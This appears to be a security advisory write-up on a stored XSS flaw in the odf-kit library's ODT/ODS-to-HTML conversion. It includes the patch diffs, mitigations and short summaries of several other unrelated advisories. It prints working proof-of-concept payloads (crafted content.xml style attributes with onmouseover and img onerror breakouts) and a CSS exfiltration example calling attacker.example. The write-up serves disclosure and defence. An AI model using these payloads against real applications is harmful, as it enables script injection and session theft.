Nov 4, 2026·11 min read·4 visits
Versions 0.6.0 through 0.14.1 of odf-kit fail to escape double quotes when rendering inline CSS styles and image data URIs during ODT and ODS to HTML conversion, enabling stored XSS via crafted OpenDocument files.
CVE-2026-113787 is a stored Cross-Site Scripting (XSS) and HTML injection vulnerability affecting the odf-kit npm package from version 0.6.0 prior to 0.14.2. The HTML conversion engines (odtToHtml and odsToHtml) interpolate document-controlled styling and image attributes directly into inline style and src attributes without escaping double-quote characters. A remote attacker can supply a crafted .odt or .ods document to break out of HTML attribute boundaries and execute arbitrary JavaScript in the context of any web application rendering the converted HTML.
odf-kit is an open-source TypeScript and JavaScript library distributed via npm (GitHubNewbie0/odf-kit) that provides programmatic capabilities to read, generate, fill, and convert OpenDocument Format files, specifically .odt text documents and .ods spreadsheets. Among its core features are the odtToHtml() and odsToHtml() functions, which parse OpenDocument XML archives and emit HTML strings intended for direct embedding within web applications.
In versions starting from 0.6.0 and prior to 0.14.2, the HTML rendering pipelines in both the ODT (src/odt/to-html/html-renderer.ts) and ODS (src/ods/to-html/html-renderer.ts) modules suffer from an Improper Neutralization of Input During Web Page Generation vulnerability (CWE-79). While the library implemented an escapeHtml() helper and applied it to standard text nodes and specific attributes such as href, alt, id, data-author, and data-date, it completely omitted contextual escaping for inline style="..." attributes and base64 image src="data:..." attributes.
When parsing an OpenDocument archive, styling properties defined inside content.xml—such as fo:color, fo:background-color, svg:width, and style:row-height—are extracted verbatim into internal AST style representations. During the HTML serialization phase, these raw strings are concatenated directly into double-quoted HTML attributes. Because double quotes (") are not neutralized as ", an attacker can craft a style property containing a quote character to prematurely terminate the attribute boundary.
Once outside the style or src attribute context, the attacker can inject arbitrary HTML attributes (such as onmouseover or onload event handlers) or close the current HTML tag using > and inject entirely new HTML elements like <script> or <img onerror=...>. When a web application renders the output of odtToHtml() or odsToHtml() into a user's browser DOM without secondary sanitization, the injected payload executes within the origin security context of the host application.
The root cause of CVE-2026-113787 is an architectural inconsistency in how odf-kit handles output encoding across different HTML emission contexts. OpenDocument files (.odt and .ods) are ZIP archives containing XML files, primarily content.xml and styles.xml. During the parsing stage in read/parser.ts, functions such as extractSpanStyle read XML attributes from elements like <style:text-properties>, <style:paragraph-properties>, <style:table-cell-properties>, and <style:table-row-properties>.
Because the XML parser decodes XML entities (such as ", <, and >) when populating the in-memory Document Object Model, any XML-encoded special characters present in content.xml are restored to their literal characters (", <, >) inside the parsed TypeScript data structures (e.g., style.fontColor, cell.cellStyle.backgroundColor, row.height, or node.mediaType). The parser performs no lexical validation or allowlisting on CSS property values; it treats them as opaque strings.
During the HTML serialization phase, helper functions including spanStyleToCss(), paragraphStyleToCss(), cellStyleToCss(), rowStyleToCss(), and buildInlineStyle() format these properties into semicolon-delimited CSS declarations (e.g., color:${span.style.fontColor}). Subsequently, the element rendering functions interpolate these CSS strings directly into template literals surrounded by double quotes: style="${css}".
Audit of the codebase identified 11 distinct vulnerable emission sites across the ODT and ODS renderers:
renderTextSpan in src/odt/to-html/html-renderer.ts (line 197) via spanStyleToCss(span.style).renderImage in src/odt/to-html/html-renderer.ts (line 227) via unescaped node.mediaType and node.data in src="data:${node.mediaType};base64,${node.data}".renderImage in src/odt/to-html/html-renderer.ts (line 246) via svg:width and svg:height concatenated into styleParts.renderRow in src/odt/to-html/html-renderer.ts (line 369) via rowStyleToCss(row.rowStyle).renderRow in src/odt/to-html/html-renderer.ts (line 384) via cellStyleToCss(cell.cellStyle).renderTable in src/odt/to-html/html-renderer.ts (line 414) via <col style="width:${cw}">.renderBodyNode in src/odt/to-html/html-renderer.ts (line 515) via paragraphStyleToCss(node.paragraphStyle).renderBodyNode in src/odt/to-html/html-renderer.ts (line 523) via paragraphStyleToCss(node.paragraphStyle).renderCell in src/ods/to-html/html-renderer.ts (line 65) via buildInlineStyle().renderRow in src/ods/to-html/html-renderer.ts (line 95) via style="height:${row.height}".fo:color, fo:background-color, fo:text-shadow, fo:letter-spacing, fo:font-family, fo:margin-*, fo:padding-*, fo:line-height, fo:border*, and style:vertical-align.The maintainers addressed CVE-2026-113787 across three primary commits released in version 0.14.2. First, commit aa64c734ebd7e7be40e35fcda83b1144193c3da2 exposed the escapeAttr() function from src/core/xml.ts via the core module index (src/core/index.ts). This utility encodes ampersands, angle brackets, and double quotes into their corresponding HTML/XML character references:
// src/core/xml.ts
export function escapeXml(text: string): string {
return text
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">");
}
export function escapeAttr(value: string): string {
return escapeXml(value).replace(/"/g, """);
}Second, commit fa3abc5a7a757f56c7212b2dbe99d1d2db995420 updated src/odt/to-html/html-renderer.ts to wrap all inline style strings and image data URI parameters with escapeAttr(). Below is the annotated diff showing how the ODT emission points were remediated:
--- a/src/odt/to-html/html-renderer.ts
+++ b/src/odt/to-html/html-renderer.ts
@@ -41,6 +41,8 @@
+import { escapeAttr } from "../../core/index.js";
@@ -194,7 +196,7 @@ function renderTextSpan(span: TextSpan): string {
if (span.style !== undefined) {
const css = spanStyleToCss(span.style);
- if (css) html = `<span style="${css}">${html}</span>`;
+ // Neutralizes quotes and angle brackets in span CSS properties (e.g., fo:color)
+ if (css) html = `<span style="${escapeAttr(css)}">${html}</span>`;
}
@@ -224,7 +226,7 @@ function renderImage(node: ImageNode): string {
if (node.data && node.mediaType) {
- attrs.push(`src="data:${node.mediaType};base64,${node.data}"`);
+ // Prevents attribute breakout via crafted manifest media-type or base64 data
+ attrs.push(`src="data:${escapeAttr(node.mediaType)};base64,${escapeAttr(node.data)}"`);
}
@@ -243,7 +245,7 @@ function renderImage(node: ImageNode): string {
- if (styleParts.length > 0) attrs.push(`style="${styleParts.join(";")}"`);
+ // Neutralizes svg:width and svg:height injection
+ if (styleParts.length > 0) attrs.push(`style="${escapeAttr(styleParts.join(";"))}"`);
@@ -366,7 +368,7 @@ function renderRow(
const rowCss = row.rowStyle !== undefined ? rowStyleToCss(row.rowStyle) : "";
- const rowAttrs = rowCss ? ` style="${rowCss}"` : "";
+ const rowAttrs = rowCss ? ` style="${escapeAttr(rowCss)}"` : "";
@@ -381,7 +383,7 @@ function renderRow(
if (cell.cellStyle !== undefined) {
const css = cellStyleToCss(cell.cellStyle);
- if (css) attrParts.push(`style="${css}"`);
+ if (css) attrParts.push(`style="${escapeAttr(css)}"`);
}
@@ -411,7 +413,7 @@ function renderTable(table: TableNode, options?: HtmlOptions): string {
for (const row of table.rows) {
const cols = row.cells.map((cell) => {
const cw = cell.cellStyle?.columnWidth;
- return cw ? `<col style="width:${cw}">` : "<col>";
+ return cw ? `<col style="width:${escapeAttr(cw)}">` : "<col>";
});Similarly, in renderBodyNode (src/odt/to-html/html-renderer.ts, lines 514–527), both the paragraph and heading switch cases were updated to apply escapeAttr(css) before constructing <p> and <hN> tags. In tandem, commit 1424227d1ca2716a249b623d1456575ff0331dcc patched src/ods/to-html/html-renderer.ts by wrapping the output of buildInlineStyle in renderCell and row.height in renderRow with escapeAttr().
> [!WARNING]
> Fix Completeness & Residual CSS Injection Risk: While escapeAttr() completely prevents HTML attribute breakout and arbitrary HTML tag injection (converting " to " and < to <), it does not validate CSS syntax or sanitize semicolons (;). Because HTML parsers decode character entities inside style attributes prior to invoking the CSS parser, an attacker can still inject arbitrary CSS declarations (e.g., fo:color="red; background-image: url(https://attacker.example/exfil); position: fixed; width: 100vw; height: 100vh"). This allows UI redressing (phishing overlays) and CSS-based data exfiltration if the host application does not enforce a strict Content Security Policy (CSP) or secondary CSS sanitization. Recognizing this limitation, the maintainers pushed commit 7ea7e17c0881d87ac1bb8e9d2dea95483f0a8fac to remove documentation comments that previously claimed the HTML output was "safe to embed in any context."
Exploiting CVE-2026-113787 requires no authentication or specialized privileges in scenarios where a target web application accepts user-supplied .odt or .ods documents and renders them in a browser using odtToHtml() or odsToHtml(). To construct an exploit payload, an attacker creates a valid OpenDocument archive (a standard ZIP file) containing a modified content.xml file.
There are two primary exploitation vectors demonstrated by the regression fixtures committed to the repository test suite (tests/reader/fixtures/xss-attr-breakout-ghsa3cgg.odt, xss-markup-injection-ghsa3cgg.odt, and xss-markup-injection-ghsa3cgg.ods).
In the first vector, the attacker injects a double quote into an automatic style definition inside content.xml to close the style attribute and introduce an inline event handler on the existing <span style="..."> or <td> element:
<!-- Malicious style definition inside content.xml -->
<office:automatic-styles>
<style:style style:name="T1" style:family="text">
<style:text-properties fo:color="red" onmouseover="alert(1)" />
</style:style>
</office:automatic-styles>
<office:body>
<office:text>
<text:p><text:span text:style-name="T1">Hover over this text</text:span></text:p>
</office:text>
</office:body>When odtToHtml() processes this archive in versions < 0.14.2, the XML parser decodes " to ", and renderTextSpan outputs:
<p><span style="color:red" onmouseover="alert(1)">Hover over this text</span></p>To achieve immediate JavaScript execution without requiring the victim to hover over a specific element, the attacker uses " followed by > ("> in XML) to close both the style attribute and the enclosing <span ...> tag, then injects an autonomous payload such as an <img> tag with an onerror handler:
<!-- Malicious element breakout inside content.xml -->
<style:style style:name="T1" style:family="text">
<style:text-properties fo:color="red"><img src=x onerror=alert(document.domain)><span style="" />
</style:style>When rendered by odtToHtml(), the unescaped emission produces the following HTML structure:
<span style="color:red"><img src=x onerror=alert(document.domain)><span style="">hello</span>When inserted into the DOM (for example, via element.innerHTML or React's dangerouslySetInnerHTML), the browser immediately attempts to load src=x, fails, and fires the onerror handler, executing arbitrary JavaScript within the user's authenticated session.
CVE-2026-113787 is rated with a CVSS v3.1 base score of 6.1 (Medium) under the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. The Attack Vector is Network (AV:N) and Attack Complexity is Low (AC:L), as OpenDocument files are routinely shared, uploaded, and previewed across document management portals, webmail clients, and collaborative web applications. No privileges (PR:N) are required to craft the file, though User Interaction (UI:R) is required because a victim user must view the rendered HTML document.
The Scope is Changed (S:C) because the vulnerable component is the server-side or client-side file conversion library (odf-kit), while the security impact manifests within the security authority of the client web browser executing the host web application.
Within the compromised browser session, the Confidentiality (C:L) and Integrity (I:L) impacts allow an attacker to:
localStorage / sessionStorage data, and sensitive information displayed within the application DOM.fetch or XMLHttpRequest calls.As of current threat intelligence tracking, the EPSS score for CVE-2026-113787 is 0.00246 (15.997th percentile), indicating a low probability of widespread automated exploitation in the wild. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, though functional proof-of-concept files are publicly available within the upstream GitHub repository's regression test suite.
All downstream applications and libraries depending on odf-kit should immediately upgrade to version 0.14.2 or later, where all 11 inline style and image data URI emission sites are properly escaped via escapeAttr().
npm install odf-kit@^0.14.2Because odf-kit translates rich document formatting into inline CSS without a full CSS lexical parser, upgrading to 0.14.2 neutralizes HTML attribute and tag injection (XSS) but does not restrict arbitrary CSS property declarations within style attributes. Consequently, engineering teams rendering untrusted .odt or .ods files must implement defense-in-depth controls at the application layer:
odtToHtml() or odsToHtml() through a context-aware HTML sanitizer such as DOMPurify before inserting it into the DOM.import DOMPurify from "dompurify";
import { odtToHtml } from "odf-kit";
const rawHtml = await odtToHtml(untrustedOdtBuffer);
const safeHtml = DOMPurify.sanitize(rawHtml, {
FORBID_TAGS: ["style", "script", "iframe", "object", "embed"],
FORBID_ATTR: ["onerror", "onload", "onmouseover", "onclick"]
});Sandboxed Execution Contexts: When displaying previews of untrusted documents, render the generated HTML inside an isolated <iframe sandbox=""> attribute without the allow-same-origin or allow-scripts flags. This guarantees that even if markup or CSS injection occurs, it cannot access the parent application's DOM, cookies, or storage APIs.
Content Security Policy (CSP): Deploy a strict Content Security Policy header that disables inline script execution (script-src 'self') and restricts external resource loading (img-src 'self' data:; style-src 'self' 'unsafe-inline'). Note that if 'unsafe-inline' is required for style-src to support odf-kit inline formatting, restricting connect-src and img-src helps prevent CSS-based data exfiltration via background-image: url(...).
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
odf-kit GitHubNewbie0 | >= 0.6.0, < 0.14.2 | 0.14.2 |
| Attribute | Detail |
|---|---|
| Vulnerability Type | CWE-79: Stored Cross-Site Scripting (XSS) / HTML Injection |
| Affected Component | odf-kit (odtToHtml and odsToHtml renderers) |
| Affected Versions | >= 0.6.0, < 0.14.2 |
| Patched Version | 0.14.2 |
| Attack Vector | Network (Crafted .odt or .ods file upload/conversion) |
| CVSS v3.1 Score | 6.1 Medium (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |
| EPSS Score | 0.246% (15.997th percentile) |
| Exploit Status | Proof-of-Concept Available (Repository test fixtures) |
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
Payload CMS contains a missing authorization vulnerability (CWE-862) in its client-side upload instructions endpoint and the `@payloadcms/storage-vercel-blob` storage adapter. Two distinct logic defects allow authenticated users lacking collection-level `create` or `update` permissions to generate signed upload tokens and upload arbitrary files directly to external cloud storage.
CVE-2026-55098 (GHSA-93cm-2v4m-c56c) is an authorization bypass and sensitive information disclosure vulnerability in Basekick-Labs Arc prior to version 26.06.2. The flaw stems from an incomplete remediation of CVE-2026-47735, which failed to restrict the full suite of DuckDB table-valued filesystem I/O functions and quoted-identifier invocations. Because Arc's query parser ignores function calls during table reference extraction, authenticated users with minimal or empty permissions can invoke functions like parquet_scan(), glob(), and read_blob() to read, enumerate, and extract telemetry data across all tenant databases residing within the shared local storage root.
GHSA-m3qr-fvp4-78xj is an authentication bypass and information disclosure vulnerability in Arc, an open-source, SQL-native time-series database developed by Basekick Labs and written in Go. Due to an improper route registration sequence within the Go Fiber HTTP server initialization pipeline, the application registered the /api/v1/logs endpoint prior to mounting the global authentication middleware. Because Fiber evaluates route handlers in strict declaration order and terminates request traversal when a handler returns without invoking c.Next(), unauthenticated remote callers can query the logs endpoint and retrieve up to 10,000 buffered operational log entries even when authentication is enabled.
CVE-2026-62848 (GHSA-h26j-4vp7-x9w2) is a high-severity unsafe deserialization vulnerability in Metalama, a Roslyn-based meta-programming and code generation framework for C#. The flaw resides in the inter-process communication (IPC) channel used by Metalama within Microsoft Visual Studio. Across versions 2023.0 through 2026.1.18, the framework utilized either Newtonsoft.Json with TypeNameHandling.All or MessagePack with TypelessObjectResolver over local Windows named pipes without enforcing a strict type allow-list. Because the named pipes use predictable identifiers, any local process running under the same Windows user session can connect to the endpoint and transmit crafted serialized payloads, resulting in arbitrary Common Language Runtime (CLR) type instantiation and code execution within the host Visual Studio process.
A logic flaw in github.com/tinfoil-factory/netfoil versions 0.3.0 through 0.6.0 prevents the DNS proxy from properly decrementing Time-To-Live (TTL) values on cached DNS responses and enforcing configured maximum TTL limits. Due to an idiomatic Go programming mistake where a range loop modifies value copies of slice elements rather than the underlying slice array, netfoil continually serves DNS answers with their original static TTLs. This condition causes downstream clients and resolvers to retain stale DNS records beyond their intended expiration window and bypasses local MaxTTL administrative policies.
A cryptographic signature verification flaw in Keycloak's OAuth 2.0 JWT Authorization Grant flow (RFC 7523) and federated client authentication mechanisms allows algorithm confusion between asymmetric and symmetric signing algorithms. Authenticated clients can sign forged JWT assertions using HMAC-SHA256 (HS256) with an Identity Provider's public key bytes acting as the symmetric secret. Keycloak processes the public key material as an HMAC secret key, validating the forged assertion and issuing unauthorized access tokens for federated users.